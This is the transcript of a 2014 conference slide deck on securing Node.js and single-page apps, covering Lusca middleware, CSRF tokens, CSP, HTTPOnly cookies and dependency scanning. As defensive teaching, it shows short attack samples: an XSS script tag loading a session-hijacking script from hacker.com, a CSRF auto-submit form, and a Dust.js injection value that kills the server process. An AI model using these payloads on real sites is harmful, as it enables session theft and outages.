$30 off During Our Annual Pro Sale. View Details »

enterJS 2014 - Securing your Node.js & Single Page Apps

enterJS 2014 - Securing your Node.js & Single Page Apps

Securing your Node.js & Single Page Apps

Mark Stuart

July 01, 2014
Tweet

More Decks by Mark Stuart

Other Decks in Programming

Transcript

  1. Securing
    Your
    Node.js &
    Single Page Apps

    View Slide

  2. @mark_stuart
    @mstuart

    View Slide

  3. How are you
    using JavaScript?

    View Slide

  4. So, why security?

    View Slide

  5. View Slide

  6. View Slide

  7. View Slide

  8. Not just PayPal,
    but your company too.

    View Slide

  9. View Slide

  10. View Slide

  11. View Slide

  12. Web Security
    State of the Union
    2014

    View Slide

  13. Same vulnerabilities.
    Nothing new.

    View Slide

  14. ok cya.

    View Slide

  15. Same vulnerabilities.
    Different beast.

    View Slide

  16. Node

    View Slide

  17. Know what you require()
    Rule #1 !
    !
    !

    View Slide

  18. npm has ~80,000 modules

    View Slide

  19. modulecounts.com

    View Slide

  20. Really great developer
    ecosystem, except…

    View Slide

  21. Anyone can publish anything

    View Slide

  22. Node is still JavaScript
    Rule #2 !
    !
    !

    View Slide

  23. Client-side vulnerabilities
    still exist on the server-side

    View Slide

  24. Eval is still evil

    View Slide

  25. Do not run as root
    Rule #2 !
    !
    !

    View Slide

  26. Running as root is wreckless

    View Slide

  27. If you’re compromised,
    terrible things could happen

    View Slide

  28. Steal SSH keys or configs
    Read/write files Execute
    binaries Cause server to hang
    Tamper with routes Inject XSS
    Steal session data Crash server

    View Slide

  29. Steal SSH keys or configs
    Read/write files Execute
    binaries Cause server to hang
    Tamper with routes Inject XSS
    Steal session data Crash server

    View Slide

  30. Steal SSH keys or configs
    Read/write files Execute
    binaries Cause server to hang
    Tamper with routes Inject XSS
    Steal session data Crash server

    View Slide

  31. Steal SSH keys or configs
    Read/write files Execute
    binaries Cause server to hang
    Tamper with routes Inject XSS
    Steal session data Crash server

    View Slide

  32. Steal SSH keys or configs
    Read/write files Execute
    binaries Cause server to hang
    Tamper with routes Inject XSS
    Steal session data Crash server

    View Slide

  33. Steal SSH keys or configs
    Read/write files Execute
    binaries Cause server to hang
    Tamper with routes Inject XSS
    Steal session data Crash server

    View Slide

  34. Steal SSH keys or configs
    Read/write files Execute
    binaries Cause server to hang
    Tamper with routes Inject XSS
    Steal session data Crash server

    View Slide

  35. Steal SSH keys or configs
    Read/write files Execute
    binaries Cause server to hang
    Tamper with routes Inject XSS
    Steal session data Crash server

    View Slide

  36. Ok, so if not root, then what?

    View Slide

  37. Create a user for node
    with restricted permissions
    !
    (plenty of docs out there)

    View Slide

  38. Create a user for node
    with restricted permissions
    !
    (plenty of docs out there)

    View Slide

  39. Create a user for node
    with restricted permissions
    !
    (plenty of docs out there)

    View Slide

  40. Use good security defaults
    Rule #3 !
    !
    !

    View Slide

  41. Node is a set of
    barebones modules

    View Slide

  42. HTTP
    OS DNS
    TLS/SSL
    Path
    Process
    UDP URL
    File System Crypto Buffer

    View Slide

  43. Express is a
    barebones framework

    View Slide

  44. Express does very
    little to secure your app

    View Slide

  45. But, that’s okay!

    View Slide

  46. … drum roll …

    View Slide

  47. View Slide

  48. Enterprise-grade
    Express "

    View Slide

  49. Lusca
    App Security module for Express

    View Slide

  50. var express = require(‘express’),
    app = express(),
    lusca = require(‘lusca’);

    View Slide

  51. app.use(lusca.csrf());
    app.use(lusca.csp({ /* ... */ }));
    app.use(lusca.hsts({ maxAge: 31536000 });
    app.use(lusca.xframe('SAMEORIGIN'));
    app.use(lusca.p3p('ABCDEF'));
    app.use(lusca.xssProtection(true);

    View Slide

  52. Pardon the interruption

    View Slide

  53. CSRF

    View Slide

  54. Trick victim’s browser into
    making malicious requests
    CSRF

    View Slide

  55. All you need is a valid cookie
    CSRF

    View Slide

  56. CSRF
    #
    Victim
    yoursite.com
    "
    Cookie

    View Slide

  57. CSRF
    #
    Victim
    hackedsite.com
    Cookie yoursite.com

    View Slide

  58. CSRF
    transferFunds”>



    !
    document.forms.someHiddenForm.submit();

    View Slide

  59. It’s a simple HTTP request.
    CSRF

    View Slide

  60. If only we had a way to ensure
    requests were legitimate…
    CSRF

    View Slide

  61. lusca.csrf();

    View Slide

  62. Token synchronizer pattern
    lusca.csrf();

    View Slide

  63. 1. Creates a random token
    (using some crazy crypto libraries)
    lusca.csrf();

    View Slide

  64. 2. Adds token to res.locals
    lusca.csrf();

    View Slide

  65. 3. Dump token on the page

    lusca.csrf();

    View Slide

  66. 4. Send token with every
    POST, PUT, DELETE request
    lusca.csrf();

    View Slide

  67. $.ajaxPrefilter(function(options, _, xhr) {
    if (!xhr.crossDomain) {
    xhr.setRequestHeader('X-CSRF-Token', csrfToken);
    }
    });
    lusca.csrf();

    View Slide

  68. 5. Verify token is correct,
    otherwise return 403.
    lusca.csrf();

    View Slide

  69. CSP

    View Slide

  70. CSP is really awesome.

    View Slide

  71. It’s basically a whitelist.

    View Slide

  72. Content-Security-Policy:
    default-src 'self' https://*.your-cdn.com;
    script-src 'self' https://*.your-cdn.com;
    img-src https://*.your-cdn.com data:;
    object-src 'self';
    font-src 'self' https://*.googlefonts.com;
    connect-src …
    frame-src …
    style-src …
    media-src …

    View Slide

  73. View Slide

  74. lusca.csp( { /* … */ } );

    View Slide

  75. lusca.csp({
    "default-src": "'self' https://*.your-cdn.com”,
    "script-src": “'self' https://*.your-cdn.com”,
    "img-src": “https://*.your-cdn.com data:”,
    "font-src": “‘self’",
    “report-uri”: “https://mysite.com/cspReporter”
    });

    View Slide

  76. “report-uri”: “https://mysite.com/cspReporter”

    View Slide

  77. lusca.hsts();

    View Slide

  78. lusca.hsts();
    Ensures HTTPS traffic

    View Slide

  79. Helps prevent MITM attacks
    lusca.hsts();

    View Slide

  80. lusca.xframe();

    View Slide

  81. lusca.xframe();
    Prevent others from loading
    your app in an iframe

    View Slide

  82. View Slide

  83. app.use(lusca.xssProtection());
    app.use(lusca.p3p());

    View Slide

  84. app.use(lusca.csrf());
    app.use(lusca.csp({ /* ... */ }));
    app.use(lusca.hsts({ maxAge: 31536000 });
    app.use(lusca.xframe('SAMEORIGIN'));
    app.use(lusca.p3p('ABCDEF'));
    app.use(lusca.xssProtection(true);

    View Slide

  85. Okay, now where were we?

    View Slide

  86. HTTPOnly cookies

    View Slide

  87. Prevents session hijacking
    HTTPOnly cookies

    View Slide

  88. app.use(express.session({
    secret: ‘0m6!s3cr37’,
    cookie: { httpOnly: true, secure: true },
    }));
    HTTPOnly cookies

    View Slide

  89. Set-Cookie:!
    connect.sid=%3AbzLqvcp7DnQJMaLAPmJ7p; !
    Path=/; Expires=Wed, 21 May 2014 18:26:44 GMT;
    HttpOnly
    HTTPOnly cookies

    View Slide

  90. Handle errors, or crash.
    Rule #4 !
    !
    !

    View Slide

  91. !
    Wed, 21 May 2014 18:49:00 GMT !
    uncaughtException Object # has no method ‘forEach'!
    !
    TypeError: Object # has no method 'forEach'!
    at module.exports.fetchSettings (/Users/marstuart/oddjob/helpers.js:174:18)!
    !
    Process finished with exit code 1!

    View Slide

  92. Basically, a DOS attack

    View Slide

  93. Catch them or restart

    View Slide

  94. Scan for vulnerable modules
    Rule #6 !
    !
    !

    View Slide

  95. Node Security Project
    http://nodesecurity.io

    View Slide

  96. Audit all modules in npm

    View Slide

  97. Contribute patches

    View Slide

  98. View Slide

  99. Educate others

    View Slide

  100. npm install grunt-nsp-package --save-dev
    grunt validate-package

    View Slide

  101. View Slide

  102. Define custom rules
    ESLint

    View Slide

  103. Security can be automated

    View Slide

  104. Make it a part of your CI

    View Slide

  105. Update your dependencies
    Rule #7 !
    !
    !

    View Slide

  106. Add a badge to your README

    View Slide

  107. View Slide

  108. View Slide

  109. david-dm.org

    View Slide

  110. Let’s recap…

    View Slide

  111. 1. Know what you require()
    2. Node is still JavaScript
    3. Do not run as root
    3. Use good security defaults
    4. Security can be automated, too!

    View Slide

  112. Client-side JS

    View Slide

  113. Escape everything.
    Rule #1 !
    !
    !

    View Slide

  114. Content injection

    View Slide

  115. XSS sucks. It’s everywhere.

    View Slide


  116. <script src='http://hacker.com/
    sessionhijacker.js'></script>

    View Slide

  117. User input and
    backend data

    View Slide

  118. Don’t trust
    backend services
    to escape properly

    View Slide

  119. Persistent or
    Stored XSS

    View Slide

  120. #
    Attacker
    yoursite.com
    PUT /account/edit
    { firstName: ‘…’ }<br/>#<br/>Victim<br/>#<br/>Victim<br/><script>…
    GET /addressBook

    GET /addressBook
    yoursite.com
    yoursite.com

    View Slide

  121. Case Study: TweetDeck worm

    View Slide

  122. TweetDeck worm

    View Slide

  123. TweetDeck worm

    View Slide

  124. Just one tweet.
    TweetDeck worm

    View Slide

  125. Just two weeks ago.
    TweetDeck worm

    View Slide

  126. … So how do I escape?

    View Slide

  127. DOMPurify and Google Caja

    View Slide


  128. DOMPurify
    Plain ol’ JavaScript
    var clean = DOMPurify.sanitize(dirty);

    View Slide

  129. require(['dompurify'], function(DOMPurify) {
    var clean = DOMPurify.sanitize(dirty);
    });
    DOMPurify
    RequireJS / AMD

    View Slide

  130. var DOMPurify = require(‘dompurify’);
    var clean = DOMPurify.sanitize(dirty);
    DOMPurify
    Node
    npm install dompurify

    View Slide

  131. Know your templating library.
    Rule #2 !
    !
    !

    View Slide

  132. Use it properly.

    View Slide

  133. Underscore templates

    View Slide

  134. ” />
    ” />

    View Slide

  135. Dust.js templates

    View Slide

  136. {@if cond=“{cardType} === ‘VISA’”}

    {/if}

    View Slide

  137. {@if cond=“{zipCode} === {defaultZipCode}”}

    {/if}
    {
    “zipCode”: “\\”,
    “defaultZipCode”: “);process.exit();//“
    }

    View Slide

  138. Your server crashed.
    $

    View Slide

  139. Upgrade your front-end
    dependencies.
    Rule #3 !
    !
    !

    View Slide

  140. Retire.js

    View Slide

  141. jQuery <1.9.0
    jQuery Mobile <1.0.1
    Backbone <0.5.0
    Angular <1.2.0
    Handlebars <1.0.0
    YUI <3.5.0
    Ember <1.3.0
    Mustache <0.3.1

    View Slide

  142. Running "retire:jsPath" (retire) task!
    !
    >> test-files/jquery-1.6.js!
    >> ↳ jquery 1.6 has known vulnerabilities: http://web.nvd.nist.gov/view/
    vuln/detail?vulnId=CVE-2011-4969!
    !
    >> Aborted due to warnings.
    npm install grunt-retire --save-dev
    grunt retire

    View Slide

  143. Automate it!

    View Slide

  144. C’mon, it’s 1 line.

    View Slide

  145. Rules of Thumb

    View Slide

  146. No matter what you do,
    someone will always
    find a way in

    View Slide

  147. But, you’ll get 80% there
    if you…

    View Slide

  148. Choose libraries with
    good security defaults.
    !
    !
    !

    View Slide

  149. Sanitize data coming in
    and going out.
    !
    !
    !

    View Slide

  150. Update your dependencies!
    !
    !
    !

    View Slide

  151. Automate security, too.
    !
    !
    !

    View Slide

  152. Ok.

    View Slide

  153. Ok. so,

    View Slide

  154. Ok. so, listen…

    View Slide

  155. Node is awesome.

    View Slide

  156. It’s enterprise ready.

    View Slide

  157. We just need to write
    better, more secure apps.

    View Slide

  158. thanks!

    View Slide

  159. We’re hiring!
    (we have an office in Berlin, too!)

    View Slide

  160. mark stuart
    @mark_stuart
    @mstuart

    View Slide

  161. Links
    https://github.com/nodesecurity/grunt-nsp-package
    https://github.com/bekk/grunt-retire
    https://nodesecurity.io/
    https://github.com/evilpacket/helmet
    http://krakenjs.com/
    https://github.com/krakenjs/lusca
    https://david-dm.org/
    https://www.owasp.org/index.php/Cross-Site

    View Slide